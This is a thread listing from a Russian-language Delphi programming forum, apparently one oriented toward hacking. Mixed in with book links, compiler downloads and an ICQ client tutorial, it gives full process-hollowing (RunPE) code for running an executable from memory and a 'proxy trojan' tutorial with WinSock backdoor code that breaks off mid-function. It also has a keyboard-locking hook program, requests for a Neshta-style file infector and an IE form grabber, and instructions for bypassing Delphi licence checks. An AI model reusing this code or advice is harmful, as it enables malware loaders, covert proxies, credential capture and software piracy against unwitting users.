Delphi & Pascal

◀ Back

Книги по Delphi

Author: Winux • 2005-08-20T20:16:59+0000 • Replies: 34 • Views: 37K
**Програмирование в Delphi глазами хакера**
![](/proxy.php?image=http%3A%2F%2Fdlfiles.org%2Fwinux%2Fimg%2Fdelph_glaz_hack.jpg&hash=4b1c572579bc57657dabcac923032165)
В книге вы найдете множество нестандартных приемов программирования на языке
Delphi, его недокументированные функции и возможности.
Вы узнаете, как создавать маленькие шуточные программы. Большая часть книги
посвящена программированию сетей, приведено множество полезных примеров.
Для понимания изложенного не нужно глубоких знаний, даже начальных сведений о
языке Delphi хватит для работы над каждой темой. Если вы ни разу не
программировали, то на прилагаемом к книге компакт-диске в каталоге vr-online
вы найдете полную копию сайта автора и -элек-тронную версию его книги "Библия
Delphi". Это поможет вам научится программировать без каких-либо начальных
знаний. Прочитав книгу и до-полнительную информацию, предоставленную на
компакт-диске, вы може-те пройти путь от начинающего программиста до
продвинутого пользовате-ля и познать хитрости хакеров и профессиональных
программистов.
У меня книга есть в бумажном варианте, очень рекомендую))

![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://dlfiles.org/books/delphi/delph_glaz_hack.rar)
[mod][Winux:] Ссылка обновлена 4.09.08[/mod]

Исходники

Author: Amper • 2006-08-21T03:54:43+0000 • Replies: 10 • Views: 15K
**Сабж.
Никакого флуда, обсуждаем исходники в теме "Обсуждения".**

Скрытие потоков

Author: greenzy • 2010-12-04T18:53:56+0000 • Replies: 19 • Views: 15K
День добрый форумчане! В Сети нашел код и немного видоизменив, получилось
нечто похожее на анти дебаг. Вообщем основная фишка - невозможность показа
потоков, строк, путей в запущенном файле. Отладчики на базе ollydbg не видят
процесс в списке для аттача. Тестировалось на Win XP SP3. Прошу потестить на
других платформах. [Скачать](http://zalil.ru/30078378)
upd. <http://sendfile.su/224124>

Обзор компонентов

Author: Amper • 2006-08-21T03:48:56+0000 • Replies: 16 • Views: 14K
**Здесь выкладываем компоненты по следующей схеме:

1) Название компонента
2) Подробное описание (чем подробней тем лучше)
3) Ссылка

Никакого флуда и никакого обсуждения компонентов, обсуждаем теме "Обсуждения"
О битых ссылках сообщать в личку.**

FAQ по Delphi

Author: Amper • 2006-09-09T02:51:58+0000 • Replies: 11 • Views: 13K
**Сабж.
Без оффтопа.**

Компиляторы, отладчики...

Author: Noctambulaar • 2008-09-17T12:56:58+0000 • Replies: 1 • Views: 12K
**Delphi Compile and dcu file (console)**

> Parent Directory -
> ActiveX.dcu 15-Aug-2002 15:08 151K
> ActnList.dcu 15-Aug-2002 15:08 24K
> Classes.dcu 15-Aug-2002 15:08 190K
> Clipbrd.dcu 15-Aug-2002 15:08 8.9K
> CommCtrl.dcu 15-Aug-2002 15:08 128K
> CommDlg.dcu 15-Aug-2002 15:08 19K
> Consts.dcu 15-Aug-2002 15:08 20K
> Contnrs.dcu 15-Aug-2002 15:08 17K
> Controls.dcu 15-Aug-2002 15:08 199K
> DCC32.EXE 15-Aug-2002 15:08 689K
> Dialogs.dcu 15-Aug-2002 15:08 54K
> Dlgs.dcu 15-Aug-2002 15:08 4.7K
> ExtCtrls.dcu 15-Aug-2002 15:08 127K
> FlatSB.dcu 15-Aug-2002 15:08 2.8K
> Forms.dcu 15-Aug-2002 15:08 165K
> Graphics.dcu 15-Aug-2002 15:08 115K
> HelpIntfs.dcu 15-Aug-2002 15:08 13K
> ImgList.dcu 15-Aug-2002 15:08 26K
> Imm.dcu 15-Aug-2002 15:08 19K
> Math.dcu 15-Aug-2002 15:08 25K
> Menus.dcu 15-Aug-2002 15:08 67K
> Messages.dcu 15-Aug-2002 15:08 28K
> MultiMon.dcu 15-Aug-2002 15:08 7.1K
> Printers.dcu 15-Aug-2002 15:08 16K
> RTLConsts.dcu 15-Aug-2002 15:08 10K
> RegStr.dcu 15-Aug-2002 15:08 47K
> ShellAPI.dcu 15-Aug-2002 15:08 13K
> ShlObj.dcu 15-Aug-2002 15:08 53K
> StdActns.dcu 15-Aug-2002 15:08 40K
> StdCtrls.dcu 15-Aug-2002 15:08 146K
> StrUtils.dcu 15-Aug-2002 15:08 8.1K
> SysConst.dcu 15-Aug-2002 15:08 11K
> SysInit.dcu 15-Aug-2002 15:08 3.5K
> SysUtils.dcu 15-Aug-2002 15:08 114K
> System.dcu 15-Aug-2002 15:08 101K
> TypInfo.dcu 15-Aug-2002 15:08 25K
> Types.dcu 15-Aug-2002 15:08 3.8K
> UrlMon.dcu 15-Aug-2002 15:08 43K
> VarUtils.dcu 15-Aug-2002 15:08 3.9K
> Variants.dcu 15-Aug-2002 15:08 48K
> WinHelpViewer.dcu 15-Aug-2002 15:08 8.9K
> WinInet.dcu 15-Aug-2002 15:08 64K
> WinSpool.dcu 15-Aug-2002 15:08 45K
> Windows.dcu 15-Aug-2002 15:08 601K
> brcc32.exe 15-Aug-2002 15:08 165K
> controls.res 15-Aug-2002 15:08 2.7K
>
> Click to expand...


![:zns5:](/styles/default/xenforo/smilies/emojione/software.png) Консольный
компилятор [Скачать](http://fool.homelinux.org/delphi/PatchEngine/compile/)

**Dev-Pascal**
Как видно из названия ,среда для паскаля.Совместима c компиляторами Free-
Pascal
или GNU Pascal
Что в нем есть:
-Отладчик
-Редактор
-Создание setup-wizard'oв
-Эдитор ресурсов
-Навигация по файлам
[офф сайт](http://www.bloodshed.net/devpascal.html)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать](http://www.bloodshed.net/dev/devpas192.exe)

**Компилятор TMT Pascal Lite v.3.90**
![](/proxy.php?image=http%3A%2F%2Fprogramy.onet.pl%2F_i%2Ftool%2FTMTPascalLite.jpg&hash=25997b4ead00aeb0cf0550b0ba648b62)

> Lekka (darmowa) wersja dobrego 32 bitowego kompilatora (kompilator + IDE).
> Program dla windows 95/98/ME/Xp. Umożliwia tworzenie programów dla DOS-a
> (real mode, protect mode), windows, OS2.
>
> Największą zaletą programu, oprócz graficznego edytora kodu, jest możliwość
> przekompilowania programów pisanych dla TurboPascala, a jednocześnie
> programista nie jest ograniczony do przestrzeni jednego bloku pamięci (64
> Kb) w strukturze danych.
>
> Wraz z kompilatorem dostarczone są przykładowe programy. TMT umożliwia tez
> tworzenie aplikacji wykorzystujących OpenGL i DirectX oraz LFB dla Vesy 2
> lub nowszej.
>
> Jeżeli potrzebujesz czegoś więcej, niż TurboPascal, a nie potrzebujesz
> Delphi, to ten program jest dla ciebie. Przyda się też każdemu kto zna już
> pascala.
>
> Click to expand...

![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать](http://pascal.sources.ru/tmt/pub/tmtp390d.zip)

**Дельфи, среда разработки**

> Скачать Delphi 1 (20Mb)
> Скачать Delphi 2 (34Mb)
> Скачать Delphi 3 (56Mb)
> Скачать Delphi 4 (53Mb)
> Скачать Delphi 5 (70Mb)
> Скачать Delphi 6 (83Mb)
> Скачать Delphi 7 (94Mb)
> Скачать Delphi 2008 - нереально - его не существует в природе. И никогда не
> будет.
> Скачать Delphi 2009 в виде инсталлятора или Delphi 2009 + C++ Builder 2009
> iso. Внимание! Это ссылки на загрузку триальной версии с офф сервера.
> (требуется бесплатная регистрация для получения триального ключа).
> Устанавливаете обычный триал. Затем качаете програмку Delphi Distiller
> последней версии. (зеркало на случай ядерной войны). Это универсальное
> лекарство для всех версий Delphi, начиная с 5-й. Запускаете, выбираете
> версию, выбираете закладочку Tweaks. Далее нажимаете секретную комбинацию:
> Ctrl + Alt + L. Появится галочка для отключения проверки лицензии, а также
> кнопочка для сброса триального срока. Выбирайте, что вам больше по вкусу ;-)
> Укороченные версии, в которой выброшено всё ненужное, по мнению авторов
> этих версий.
> Скачать Delphi 7 Second Edition (42Mb)
> Delphi 2007 Lite (91Mb)
> Delphi 10 Lite (63Mb)
>
> Click to expand...


![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать](http://www.delphilab.ru/content/view/87/75/)

Полезные советы

Author: Amper • 2006-08-29T15:48:04+0000 • Replies: 6 • Views: 12K
**Здесь выкладываем полезные советы по работе в Делфи, а также небольшие
полезные исходники, которые могут часто пригодиться...**

Lazarus, hide menu toolkit and forms

Author: Dark Koder • 2019-01-16T17:08:38+0000 • Replies: 5 • Views: 12K
Всем привет.

сабж - при кодинге в лазарусе под линухом - при переходе в редактор кода (или
просто переключение активного окна на любое другое), то пропадает панелька
меню и панель формы.

в делфе такого не было (пропадала из видимости только форма, и то, если выйти
с редактора кода - она снова видима).
тут же - вообще бляха муха все хайдиться, и каждый бл#ть, раз надо все
восстанавливать =(

как это пофиксить?

поисковик внятного ответа не дал.

P.S: в консоли кодить или виме не буду - делаю граф. приложуху.
P.P.S: QT тоже не предлагать - этот ужос в принципе не возьму, с меня хватило
в 2012-м его...

Профи сюда

Author: Bendar • 2006-08-27T12:04:07+0000 • Replies: 44 • Views: 12K
народ вобщем хочу написать вирь на делфе кто знает как релизовать одну функцию
виря кароче мне нужно чтобы он работал как Neshta беларуский вирус вобщем надо
чтобы этот вирь заражал exe файлы как выше упомянутый вирь и ваще возможноли
это на делфе народ памагите срочно нужно. :bang:

Turbo Pascal

Author: Elektrik • 2006-02-05T20:45:13+0000 • Replies: 39 • Views: 11K
Товарисчи кто знает что с ним можно сделать чтоб под виндой ХР он нормально
работал и отображал русские шрифты.

Запуск EXE из памяти

Author: chromium • 2018-10-09T02:00:56+0000 • Replies: 11 • Views: 10K
Нашел такой код. На ХР работает, на 7х64 показывает, что "калькулятор должен
запускаться на ХР и выше". Что с кодом не так?


Code:Copy to clipboard



program MyProgram;

{$APPTYPE CONSOLE}

uses
Windows, SysUtils;

type

PVOID = Pointer;
NTSTATUS = LongInt;

THandle = LongWord;

PImageSectionHeaders = ^TImageSectionHeaders;

TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;

function ZwUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: PVoid): NtStatus; stdcall;
external 'ntdll.dll' name 'ZwUnmapViewOfSection';

Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;

Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;

procedure MemoryExecute(Buffer: Pointer; ProcessName, Parameters: PChar);
Var
BaseAddress :Pointer;
I :ULONG;
Success :Boolean;
NTHeaders :PImageNTHeaders;
Sections :PImageSectionHeaders;
StartupInfo :TStartupInfo;
OldProtect :ULONG;
BytesRead :DWORD;
ProcessInfo :TProcessInformation;
BytesWritten :DWORD;
Context :TContext;
Begin
FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);

StartupInfo.cb := SizeOf(TStartupInfo);
StartupInfo.wShowWindow := Word(false);

If (CreateProcess(ProcessName, Parameters, NIL, NIL,
False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then

Begin
Success := True;

Try
Context.ContextFlags := CONTEXT_INTEGER;
If (GetThreadContext(ProcessInfo.hThread, Context) And
(ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
@BaseAddress, SizeOf(BaseAddress), BytesRead)) And
(ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
(Assigned(Buffer))) Then
Begin
NTHeaders := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
BaseAddress := VirtualAllocEx(ProcessInfo.hProcess,
Pointer(NTHeaders.OptionalHeader.ImageBase),
NTHeaders.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT,
PAGE_READWRITE);
If (Assigned(BaseAddress)) And
(WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
NTHeaders.OptionalHeader.SizeOfHeaders,
BytesWritten)) Then
Begin
Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[i].VirtualAddress),
Pointer(Cardinal(Buffer) +
Sections[i].PointerToRawData),
Sections[i].SizeOfRawData, BytesWritten)) Then
VirtualProtectEx(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[i].VirtualAddress),
Sections[i].Misc.VirtualSize,
Protect(Sections[i].Characteristics),
OldProtect);

If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Context.Ebx + 8), @BaseAddress,
SizeOf(BaseAddress), BytesWritten)) Then
Begin
Context.Eax := ULONG(BaseAddress) +
NTHeaders.OptionalHeader.AddressOfEntryPoint;
Success := SetThreadContext(ProcessInfo.hThread, Context);
End;
End;
End;
Finally
If (Not Success) Then
TerminateProcess(ProcessInfo.hProcess, 0)
Else
ResumeThread(ProcessInfo.hThread);
End;
End;
End;

var
A: Array of Byte;
F: THandle;
lpSize: Cardinal;
begin
F:=CreateFile(PChar('calc.exe'), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_ALWAYS, 0, 0);
SetLength(A, GetFileSize(F, nil));
ReadFile(F, A[0], Length(A), lpSize, nil);
CloseHandle(F);

MemoryExecute(@A[0], PChar('calc.exe'), '"%1" %*');

ReadLn;
end.

"формграббер"

Author: kalibr98 • 2010-12-02T17:45:22+0000 • Replies: 31 • Views: 10K
Решил написать новый перехватчик POST и GET данных интернет експлорера,(старый
отказывается работать с версиями выше 6) но ,перепарсив гугл,отчаялся,хз с
чего начать. Подскажите,может у кого какие
идеи,наработки,отпишитесь,пожалуйста.

Теперь если коротко-програмка после запуска перехватывает POST и GET данные
Internet Explorer и сохраняет в файлик (например С:\лог.тхт)


З.Ы. если у Вас имеются наработки по данному вопросу а здесь писать не охота-
велкам в ПМ\асю 648293679,можем обменяться на чтони-будь,(ну или выкуплю у Вас
вышеописанное творение.)

Очень жду ответа!

TOR или I2P библиотека для разработчика

Author: rekes • 2019-03-30T20:11:53+0000 • Replies: 18 • Views: 9K
Зверь отправляет POST/GET запрос на TOR/I2P сервер.Сервер присылает ответ
зверю.Есть готовые решения ( лучше на Delphi )?

Создаём самый простой ICQ клиент на Delphi

Author: ..::TROYAN::.. • 2008-10-20T20:42:44+0000 • Replies: 18 • Views: 9K
Привет!В этой теме ты поймёш как можно создать самый простой icq клиент на
delphi с помощью компонента TICQClient.
В этой теме я буду постить уроки.
Начнём...

[**Урок 1**]
Для начало нужно скачать и установить необходимые нам для работы компоненты:
~ TICQClient версия 1.34 - самый последний компонент на сегодняшний день(после
обновления протокола компоненты ниже версии не хотели просто подключатся...)
Скачать его можно здесь - <http://webfile.ru/2303891>
~ Компонент для украшения программы - <http://webfile.ru/2303919>
Теперь нужно эти компоненты установить.
Неумееш устанавливать?Тогда [www.google.com](http://www.google.com) тебе в
помощь!
Здесь небуду описывать как устанавливать компоненты,тк эта статья не по
установке компонентов а по созданию своего клиента!
После установки компонентнов кинь на форму два TEdit,один TCheckBox,одну
TButton,и один TICQClient.
Расположи их так на форме как тебе удобно=)
Edit1 - Будет служить для ввода UIN'a.
Edit2 - Будет служить для ввода пароля.
CheckBox1 - это для того что бы убрать звёздочки там где будет пароль.
ICQClient1 - это самое нужное,тк без него мы несможем ни принять,ни отправить
сообщения!
В событии OnLogin пропиши:

Code:Copy to clipboard



Form2.Show;
Form1.Hide;

Это если клиент законнектится на сервак без проблем,то первое окно скроется,и
откроется окно где будут видны контакты.
Для принятия сообщений по событию OnMessageRecv пиши:

Code:Copy to clipboard



var
i: integer;
begin
Form3.Memo1.Lines.Add('('+DateToStr(NOW)+')'+' '+'от юина - '+UIN);
Form3.Memo1.Lines.Add('');
Form3.Memo1.Lines.Add(Msg);
Form3.Memo1.Lines.Add('');

Пока нечего некомпилируй тк еще клиент неготов,нужно еще добавить окно для
обмена сообщениями и т.д...

По событию кнопки OnClick пиши:

Code:Copy to clipboard



ICQClient1.UIN:=StrToInt(Edit1.Text);
ICQClient1.Password:=Edit2.Text;
ICQClient1.Login();

Это для подключения к серверу.
По событию CheckBox1 OnClick пиши:

Code:Copy to clipboard



if CheckBox1.State = cbChecked
then
begin
Edit2.PasswordChar:=#0;
end;
if CheckBox1.State = cbunChecked
then
begin
Edit2.PasswordChar:='*';
end;

Это для отображения пароля который скрыт под звёздачками...
Поздравляю!Окно для входа готово!
Теперь зайти в File=>New=>Form.
Так мы создадим форму для второго окна.
Кинь на вторую форму такие обьекты как:
TListBox,и два TButton.
По событию OnClick в Button1 пиши:

Code:Copy to clipboard



ExitProcess(0);

Это для закрытия клиента.Если закрыть просто форму нажав на крестик вверху то
закроется просто форма а клиент будет в памяти.
Теперь клоцни по форме два раза и напиши это:

Code:Copy to clipboard



ListBox1.Items.LoadFromFile('p.inf');

И обязательно создай файло с именем p и разшерением .inf то при запуске
клиента может выскачить матюк типо нет такого файла.И помести этот файл в
папку вместе с прогой!!!)))
Теперь в ListBox1 по событию OnDblClick пиши:

Code:Copy to clipboard



Form3.Show;
Form3.mss.Caption:=Form2.ListBox1.Items.Strings[ListBox1.ItemIndex];

Это для открытия окна где можно переписываццо!
Теперь по событию OnClick второй кнопочГи пишем:

Code:Copy to clipboard



Form4.Show;

Откроется окно для добавления нового контакта.
Теперь переходим к 3й форме...
Заходи опять в File=>New=>Form...
ну и должно создатся 3е окно в котором мы будем весть переписку=)
Кинь на форму TAdvPage(у меня в исходнике ево имя - mss),и два TMemo.
В public добавь:

Code:Copy to clipboard



Sen;

потом под словом {$R *.dfm} пиши:

Code:Copy to clipboard



procedure TForm3.Send;
begin
Form1.ICQ.SendMessage(StrToInt(MSS.Caption),MEmo2.Text);
Memo1.Lines.Add('>>'+'('+TimeToStr(Now)+')'+MEmo2.Text);
MEmo2.Clear;

end;

Это процедура для отправки сообщения=)
Кликни теперь по форме и напиши это:

Code:Copy to clipboard



Form3.Caption:='['+MSS.Caption+']'+' - Сообщения';

Кликни по второй кнопке и напиши слудущее:

Code:Copy to clipboard



Form3.Close;

Это для закрытия окна=)
Теперь в Memo1 в собитии OnKeyPress пиши:

Code:Copy to clipboard



if key = #13 then
send;

Теперь сообщения будут отправлятся по нажатию кнопки ентер=)
эх...)
ну теперь осталось последее...))
Создай еще одну форму и кинь туда TEdit и TButton.
Кликни по кнопке два раза и впиши=) :

PHP:Copy to clipboard



Form2.ListBox1.Items.Add(Form4.Edit1.Text);
Form2.ListBox1.Items.SaveToFile('p.inf');
MessageBox(0,'Контакт добавлен','Ок...',0);
Form4.Close;[/code]
:eek::eek::eek:
Всё!)))Мучения закончились,теперь можеш скомпилирывать,запустить и радыватся=)
гыыы
-------------------------------------------------------------------------
Скачать исходные коды клиента можно здесь - [url=http://webfile.ru/2304075]http://webfile.ru/2304075[/url]
-------------------------------------------------------------------------
Если возникли какието вопросы , то задаём их здесь=)
В дальнейшем буду выкладывать новые уроки здесь,т.к в этом уроке самое основное(залогинится,отправить,принять сообщение),а это для полноценного клиента мало!
Всё!Пока=)
© TROYAN

Чуваки помогите плз.

Author: Trinux • 2009-03-19T11:28:26+0000 • Replies: 20 • Views: 9K
В технаре практические по Паскалю, а я вот 2 задачи чёт ваще рорубить немогу.

1\. Написать программу, вычисляющую целую отрицательную степень числа.

2\. Натуральное число, в записи которого N цифр, называется числом Армстронга.
Если сумма его цифр возведённая в степень N, равна самому числу. Найти все
такие числа от 1 до K.

конвертация istream

Author: AngelFromNSK • 2020-08-18T11:46:17+0000 • Replies: 5 • Views: 8K
Как конвертировать istream в string?

Ищу исходник. По созданию builder'a

Author: c0d3r_0f_shr0d13ng3r • 2019-02-04T12:44:13+0000 • Replies: 11 • Views: 8K
Здравствуйте! Ищу исходники и мануалы
по созданию builder'a к своей программе.

p.s. желательно исходники на delphi и c++
если у кого есть, поделитесь.

Спасибо!

Хук блокировка клавиатуры на Delphi

Author: soldxqe • 2020-03-07T13:46:37+0000 • Replies: 5 • Views: 8K
Завалялось - может быть кому -то пригодиться.


Code:Copy to clipboard



unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, jpeg, ExtCtrls;

const

WH_KEYBOARD_LL = 13;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Label1: TLabel;
Label2: TLabel;
Edit1: TEdit;
Button7: TButton;
Button8: TButton;
Button11: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button9: TButton;
Button10: TButton;
Button12: TButton;
Button13: TButton;
Button14: TButton;
Button15: TButton;
Image1: TImage;
Label3: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button10Click(Sender: TObject);
procedure Button12Click(Sender: TObject);
procedure Button13Click(Sender: TObject);
procedure Button14Click(Sender: TObject);
procedure Button15Click(Sender: TObject);
procedure Edit1Change(Sender: TObject);
procedure Edit1KeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

HookHandle: HHOOK = 0;

implementation

{$R *.dfm}

// Процедура обработчик хука
function KeyboardHookHandler(Code, WParam, LParam: DWORD): DWORD; stdcall;
begin

Result := 1;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if HookHandle = 0 then
HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, @KeyboardHookHandler, hInstance, 0);
showmessage('Клавиатура Заблокирована!!!');

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if edit1.text = '2012' then

begin
if HookHandle <>0 then
UnhookWindowsHookEx(HookHandle);
HookHandle:=0;
showmessage('Клавиатура Разблокирована!!!');
edit1.clear;
end


else
begin
if Edit1.Text <> '2012' then
showmessage('Код Неверный!!!');
edit1.Clear;



end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
edit1.text:=edit1.text+'1';
end;


procedure TForm1.Button4Click(Sender: TObject);
begin
edit1.text:=edit1.text+'2';
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
edit1.text:=edit1.text+'3';
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
edit1.text:=edit1.text+'4';
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
edit1.text:=edit1.text+'5';
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
edit1.text:=edit1.text+'6';
end;

procedure TForm1.Button12Click(Sender: TObject);
begin
edit1.text:=edit1.text+'7';
end;

procedure TForm1.Button13Click(Sender: TObject);
begin
edit1.text:=edit1.text+'8';
end;

procedure TForm1.Button14Click(Sender: TObject);
begin
edit1.text:=edit1.text+'9';
end;

procedure TForm1.Button15Click(Sender: TObject);
begin
edit1.text:=edit1.text+'0';
end;

procedure TForm1.Edit1Change(Sender: TObject);
var pass:string;
begin
pass:='2012';
end;

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if not (key in['0'..'9', #8]) then
key:=#0
end;

end.

Подключением к bit доменам Namecoin

Author: rekes • 2019-03-30T20:33:04+0000 • Replies: 12 • Views: 8K
Как передавать POST/GET зверю и серверу?

Пишем proxy троян на Delphi

Author: ..::TROYAN::.. • 2008-10-20T20:41:37+0000 • Replies: 6 • Views: 8K
Привет.В этой статье я расскажу как написать своего прокси троя на Delphi.Так
как на Indy его очень легко написать , но он будет весить очень много,поэтому
будет писать используя WinSock.
Сначала откроем блокнот и скопируем туда этот код:


Code:Copy to clipboard



Unit uProxy;

interface

uses Windows,WinSock,Classes,SysUtils;

type TCompletionPort=class
public
FHandle:THandle;
constructor Create(dwNumberOfConcurentThreads:DWORD);
destructor Destroy;override;
function AssociateDevice(hDevice:THandle;dwCompKey:DWORD):boolean;
end;

TAcceptThread=class(TThread)
private
FListenSocket:TSocket;
FListenPort:Word;
FClientList:TList;
procedure GarbageCollect;
protected
procedure Execute;override;
public
constructor Create(AListenPort:Word);reintroduce;
destructor Destroy;override;
end;

type
TClientThread=class(TThread)
public
procedure Execute;override;
end;

type TClient=class
private
FSocket:TSocket;
FEvent:THandle;
ov:POVERLAPPED;
Buffer:Pointer;
BufSize:Cardinal;
procedure Write(Buf:Pointer;Size:Cardinal);
public
FOppositeClient:TClient;
FLastActivity:double;
constructor Create;
destructor Destroy;override;
procedure Connect(ARequest:string);
procedure Disconnect;
procedure Complete(dwNumBytes:Cardinal);virtual;abstract;
end;

TInternalClient=class(TClient)
public
procedure Complete(dwNumBytes:Cardinal);override;
end;

TExternalClient=class(TClient)
public
procedure Complete(dwNumBytes:Cardinal);override;
end;

var
FCompPort:TCompletionPort;


implementation

constructor TCompletionPort.Create(dwNumberOfConcurentThreads: DWORD);
begin
FHandle:=CreateIoCompletionPort(INVALID_HANDLE_VALUE,0,0,dwNumberOfConcurentThreads);
end;

function TCompletionPort.AssociateDevice(hDevice: THandle;
dwCompKey: DWORD): boolean;
begin
result:=CreateIoCompletionPort(hDevice,FHandle,dwCompKey,0)=FHandle;
end;

destructor TCompletionPort.Destroy;
begin
CloseHandle(FHandle);
inherited;
end;

constructor TAcceptThread.Create(AListenPort: Word);
begin
inherited Create(false);
FListenPort:=AListenPort;
FClientList:=TList.Create;
end;

destructor TAcceptThread.Destroy;
begin
FClientList.Free;
inherited;
end;

procedure TAcceptThread.GarbageCollect;
var
AClient:TClient;
i:integer;
begin
for i:=0 to FClientList.Count-1 do begin
AClient:=TClient(FClientList[i]);
if Assigned(AClient) then
if (AClient.FSocket=INVALID_SOCKET) and ((now-AClient.FLastActivity)>7E-4) then
begin
FClientList[i]:=nil;
if Assigned(AClient.FOppositeClient) then AClient.FOppositeClient.Free;
AClient.Free;
end;
end;
FClientList.Pack;
FClientList.Capacity:=FClientList.Count;
end;

procedure TAcceptThread.Execute;
var
FAddr: TSockAddrIn;
Len: Integer;
ClientSocket:TSocket;
InternalClient:TClient;
begin
FListenSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
FAddr.sin_family := PF_INET;
FAddr.sin_addr.s_addr := INADDR_ANY;
FAddr.sin_port := htons(FListenPort);
bind(FListenSocket, FAddr, SizeOf(FAddr));
listen(FListenSocket, SOMAXCONN);
try
while not Terminated do begin
Len:=sizeof(FAddr);
ClientSocket:=accept(FListenSocket, @FAddr, @Len);
try
GarbageCollect;
if ClientSocket<>INVALID_SOCKET then begin
InternalClient:=TInternalClient.Create;
InternalClient.FSocket:=ClientSocket;
FClientList.Add(InternalClient);
FCompPort.AssociateDevice(InternalClient.FSocket,Cardinal(InternalClient));
InternalClient.Complete(0);
end;
except
end;
end;
finally
shutdown(FListenSocket,2);
closesocket(FListenSocket);
end;
end;

procedure TClientThread.Execute;
var
CompKey,dwNumBytes:Cardinal;
ov:POVERLAPPED;
begin
try
while not Terminated do begin
if GetQueuedCompletionStatus(FCompPort.FHandle,dwNumBytes,CompKey,ov,INFINITE) and (dwNumBytes>0) then
begin
if TClient(CompKey).FSocket<>INVALID_SOCKET then begin
TClient(CompKey).Complete(dwNumBytes);
TClient(CompKey).FLastActivity:=now;
end;
end else
TClient(CompKey).Disconnect;
end;
except
TClientThread.Create(false);
end;
end;

constructor TClient.Create;
begin
FSocket:=INVALID_SOCKET;
BufSize:=8192;
GetMem(Buffer,BufSize);
new(ov);
ov.Internal:=0;
ov.InternalHigh:=0;
ov.Offset:=0;
ov.OffsetHigh:=0;
ov.hEvent:=0;
FEvent:=CreateEvent(nil,true,false,nil);
FLastActivity:=now;
end;

destructor TClient.Destroy;
begin
Disconnect;
CloseHandle(FEvent);
FreeMem(Buffer);
Dispose(ov);
inherited;
end;

procedure TClient.Connect(ARequest: string);
var
f,t:integer;
ARemoteAddress:string;
ARemotePort:string;
he:PHostEnt;
FAddr:TSockAddrIn;
begin
f:=Pos('/',ARequest)+2;
t:=Pos('HTTP',ARequest)-1;
ARemoteAddress:=Copy(ARequest,f,t-f);
t:=Pos('/',ARemoteAddress);
if t<>0 then ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
t:=Pos(':',ARemoteAddress);
if t<>0 then begin
ARemotePort:=Copy(ARemoteAddress,t+1,Length(ARemoteAddress)-t);
ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
end else
ARemotePort:='27999';
he:=GetHostByName(PChar(ARemoteAddress));
if not Assigned(he) then exit;
ARemoteAddress:=inet_ntoa(PInAddr(he.h_addr_list^)^);

FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
FAddr.sin_family:=PF_INET;
FAddr.sin_addr.s_addr :=inet_addr(PChar(ARemoteAddress));
try
FAddr.sin_port := htons(StrToInt(ARemotePort));
if WinSock.connect(FSocket, FAddr, SizeOf(FAddr))=SOCKET_ERROR then FSocket:=INVALID_SOCKET;
except
WriteLn('Connection failed');
end;
end;

procedure TClient.Disconnect;
begin
if FSocket<>INVALID_SOCKET then begin
shutdown(FSocket,2);
closesocket(FSocket);
FSocket:=INVALID_SOCKET;
if Assigned(FOppositeClient) then FOppositeClient.Disconnect;
end;
end;

procedure TClient.Write(Buf: Pointer; Size: Cardinal);
var
BytesWrite:Cardinal;
begin
ov.hEvent:=FEvent or 1;
WriteFile(FSocket,Buf^,Size,BytesWrite,ov);
ov.hEvent:=0;
end;

procedure TInternalClient.Complete(dwNumBytes: Cardinal);
var
BytesRead:Cardinal;
begin
if dwNumBytes>0 then begin
